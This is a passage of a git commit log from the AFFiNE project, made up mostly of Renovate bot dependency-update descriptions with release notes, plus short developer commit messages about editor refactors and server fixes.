| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.3` -> `17.0.4`](https://renovatebot.com/diffs/npm/happy-dom/17.0.3/17.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.3/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.3/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.27` -> `3.0.0-alpha.28` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.27/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.27/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.25` -> `3.0.0-alpha.26` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.25/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.25/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.1` -> `22.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |

---

### Release Notes

<details>
<summary>TanStack/table (@&#8203;tanstack/react-table)</summary>

### [`v8.21.2`](https://redirect.github.com/TanStack/table/releases/tag/v8.21.2)

[Compare Source](https://redirect.github.com/TanStack/table/compare/v8.20.6...v8.21.2)

Version 8.21.2 - 2/11/25, 8:59 PM

#### Changes

##### Fix

-   arrIncludes autoremove filterFn ([#&#8203;5623](https://redirect.github.com/TanStack/table/issues/5623)) ([`2efaf57`](https://redirect.github.com/TanStack/table/commit/2efaf57)) by lukebui
-   lit-table: spread table options in lit adapter ([#&#8203;5904](https://redirect.github.com/TanStack/table/issues/5904)) ([`36dede1`](https://redirect.github.com/TanStack/table/commit/36dede1)) by [@&#8203;kadoshms](https://redirect.github.com/kadoshms)

##### Docs

-   row accessor bug in example code block ([#&#8203;5893](https://redirect.github.com/TanStack/table/issues/5893)) ([`b1506a7`](https://redirect.github.com/TanStack/table/commit/b1506a7)) by Valerii Petryniak
-   virtualizer tbody from onchange ([`827b098`](https://redirect.github.com/TanStack/table/commit/827b098)) by Kevin Van Cott
-   exp virtual - remeasure when table state changes ([`9e6987d`](https://redirect.github.com/TanStack/table/commit/9e6987d)) by Kevin Van Cott
-   angular: add expanding and sub components examples ([#&#8203;5898](https://redirect.github.com/TanStack/table/issues/5898)) ([`099e1a4`](https://redirect.github.com/TanStack/table/commit/099e1a4)) by [@&#8203;riccardoperra](https://redirect.github.com/riccardoperra)
-   example name ([`57703a4`](https://redirect.github.com/TanStack/table/commit/57703a4)) by Kevin Van Cott

#### Packages

-   [@&#8203;tanstack/table-core](https://redirect.github.com/tanstack/table-core)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/lit-table](https://redirect.github.com/tanstack/lit-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/angular-table](https://redirect.github.com/tanstack/angular-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/qwik-table](https://redirect.github.com/tanstack/qwik-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/react-table](https://redirect.github.com/tanstack/react-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/solid-table](https://redirect.github.com/tanstack/solid-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/svelte-table](https://redirect.github.com/tanstack/svelte-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/vue-table](https://redirect.github.com/tanstack/vue-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/react-table-devtools](https://redirect.github.com/tanstack/react-table-devtools)[@&#8203;8](https://redirect.github.com/8).21.2

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.4`](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.3...efd734b0f188235b2893196d58fe8635c95db650)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.3...v17.0.4)

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.28`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.28)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.27...napi@3.0.0-alpha.28)

#### What's Changed

-   chore(napi): expose functions which turn raw pointer into External by [@&#8203;zackradisic](https://redirect.github.com/zackradisic) in [https://github.com/napi-rs/napi-rs/pull/2449](https://redirect.github.com/napi-rs/napi-rs/pull/2449)
-   feat(napi-derive): impl #\[napi(array)] by [@&#8203;lghuahua](https://redirect.github.com/lghuahua) in [https://github.com/napi-rs/napi-rs/pull/2459](https://redirect.github.com/napi-rs/napi-rs/pull/2459)
-   refactor!(napi): TypedArray API surfaces by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2462](https://redirect.github.com/napi-rs/napi-rs/pull/2462)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/[@&#8203;napi-rs/cli](https://redirect.github.com/napi-rs/cli)[@&#8203;3](https://redirect.github.com/3).0.0-alpha.67...napi@3.0.0-alpha.28

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.14.0`](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 06:46:49 +00:00
renovate 0bc2fdb8a4 chore: bump up @blocksuite/icons version to v2.2.3 (#10114)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.2.2` -> `2.2.3`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.2.2/2.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.2.3`](https://redirect.github.com/toeverything/icons/compare/837a20260147c4fdbbdc2b90627c80dbb7b5ddc3...fa7773d6f0e42cceb2328b9fc3ddff41873facaa)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/837a20260147c4fdbbdc2b90627c80dbb7b5ddc3...fa7773d6f0e42cceb2328b9fc3ddff41873facaa)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 06:27:49 +00:00
doodlewind 0cd7868b3d refactor(editor): add mock notes creator (#10109)
Further features should be validated using multiple notes.

<img width="806" alt="image" src="https://github.com/user-attachments/assets/ad2bf934-bebe-479a-bec0-a0a28001b08d" />
2025-02-12 05:23:19 +00:00
akumatus 94811d5e3b feat(core): enable ai network search (#10110)
Fix issue [AF-2182](https://linear.app/affine-design/issue/AF-2182).
2025-02-12 04:05:08 +00:00
fengmk2 d970bd041c test(server): avoid db deadlock on unittest (#10104)
https://github.com/toeverything/AFFiNE/runs/37010719190

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/8df7dc1f-c549-46f2-9aca-f93d750b1a0b.png)
2025-02-12 03:48:21 +00:00
DarkSky 88a3a2d13b feat(server): self-hosted worker (#10085) 2025-02-12 08:01:57 +08:00
donteatfriedrice 19f0eb1931 fix(core): use patched preview spec builder in ai chat (#10090)
[BS-2526](https://linear.app/affine-design/issue/BS-2526/chat-panel-里的-footnote-popup-需要支持交互)
2025-02-11 15:11:54 +00:00
L-Sun 54d194afe7 fix(editor): set edgeless note style will override collapse state (#10098)
Close [BS-2489](https://linear.app/affine-design/issue/BS-2489/%E6%94%B9%E5%8F%98note-style%E4%BC%9A%E9%87%8D%E7%BD%AEcollapse%E7%8A%B6%E6%80%81)
2025-02-11 14:29:25 +00:00
L-Sun 0b3c7a578e fix(editor): collapsed page block visibility (#10097)
This PR fixed that doc title is not hidden when page block is collapsed
2025-02-11 14:29:24 +00:00
L-Sun 42bdae16fb fix(editor): only render emoji in page block header (#10096) 2025-02-11 14:29:23 +00:00
doodlewind d021e4cddc refactor(editor): mount worker renderer in editor host (#10055)
This would allow for easier integration with current test runner, since the two column layout is removed.

The `ViewportTurboRender` canvas and its debug UI are only enabled if the extension is added, which won't affect the AFFiNE entry.

<img width="945" alt="image" src="https://github.com/user-attachments/assets/dc82daa4-cbed-4eb9-9660-28c3f7d35722" />
2025-02-11 14:12:41 +00:00
akumatus 9ca2133e34 fix(core): input not automatically focused (#10050)
Fix issue [AF-2161](https://linear.app/affine-design/issue/AF-2161).
2025-02-11 13:43:41 +00:00
L-Sun 401ce70153 refactor(core): remove the unused compareDate field from DocDisplayIconOptions (#10095) 2025-02-11 13:26:43 +00:00
LongYinan ba52abe50f ci: remove cf worker deploy job 2025-02-11 21:18:37 +08:00
renovate d2601cbda7 chore: bump up all non-major dependencies (#10099)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.1` -> `22.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/storybook/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |

---

### Release Notes

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#854)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...v8.5.4)

-   Addon A11y: Make Vitest Axe optional - [#&#8203;30442](https://redirect.github.com/storybookjs/storybook/pull/30442), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Builder-Vite: Fix allowedHosts handling for custom hosts - [#&#8203;30432](https://redirect.github.com/storybookjs/storybook/pull/30432), thanks [@&#8203;JSMike](https://redirect.github.com/JSMike)!
-   Builder-Vite: Fix resolve id warning - [#&#8203;30511](https://redirect.github.com/storybookjs/storybook/pull/30511), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   React: Update react-docgen-typescript to fix CI hanging issues - [#&#8203;30422](https://redirect.github.com/storybookjs/storybook/pull/30422), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-links)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/react-vite)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.14.0`](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 12:46:53 +00:00
Saul-Mirone 6b78d2dcf2 refactor(editor): reduce getService (#10100) 2025-02-11 12:26:02 +00:00
Saul-Mirone dbf0f9dc20 refactor(editor): remove global types in edgeless (#10092)
Closes: [BS-2553](https://linear.app/affine-design/issue/BS-2553/remove-global-types-in-edgeless)
2025-02-11 12:09:44 +00:00
doodlewind 3062bd0771 refactor(editor): migrate viewport renderer to extension (#10094)
This removes `renderer.setHost(host)`
2025-02-11 11:37:31 +00:00
Brooooooklyn c6932a8ae4 chore: remove @affine/workers (#10084)
It was moved to https://github.com/toeverything/affine-workers
2025-02-11 11:17:59 +00:00
Saul-Mirone 39eb8625d6 refactor(editor): remove block models global type (#10086) 2025-02-11 11:00:57 +00:00
darkskygit a725df6ebe feat(server): basic context api (#10056)
fix CLOUD-97
fix CLOUD-98
2025-02-11 10:45:01 +00:00
zzj3720 a47369bf9b feat(editor): ai panel supports displaying table blocks (#10091) 2025-02-11 10:28:56 +00:00
fengmk2 7840e0f900 fix(server): don't set the wrong context on logger (#10088)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/c84ca60c-2837-43ba-a32c-0db1a87a5062.png)
2025-02-11 10:12:56 +00:00
zzj3720 4b8ff6b196 fix(editor): table block cell width adjust (#10087) 2025-02-11 09:56:25 +00:00
Saul-Mirone 652865c7cf refactor(editor): remove global types in model (#10082)
Closes: [BS-2249](https://linear.app/affine-design/issue/BS-2249/remove-global-types-in-model)

```ts
// before
matchFlavours(model, ['affine:page']);
// after
matchFlavours(model, [PageBlockModel]);
```
2025-02-11 08:18:57 +00:00
renovate 64bb6c5a71 chore: bump up all non-major dependencies (#10066)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.2.15` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.2.15/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.2.15/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.2.15/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@react-email/components](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/components)) | [`0.0.32` -> `0.0.33`](https://renovatebot.com/diffs/npm/@react-email%2fcomponents/0.0.32/0.0.33) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@react-email%2fcomponents/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@react-email%2fcomponents/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@react-email%2fcomponents/0.0.32/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@react-email%2fcomponents/0.0.32/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.8` -> `1.1.9`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.8/1.1.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.8/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.8/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [cloudflare/wrangler-action](https://redirect.github.com/cloudflare/wrangler-action) | `v3.13.1` -> `v3.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/github-tags/cloudflare%2fwrangler-action/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/github-tags/cloudflare%2fwrangler-action/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/github-tags/cloudflare%2fwrangler-action/v3.13.1/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/cloudflare%2fwrangler-action/v3.13.1/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | action | minor |
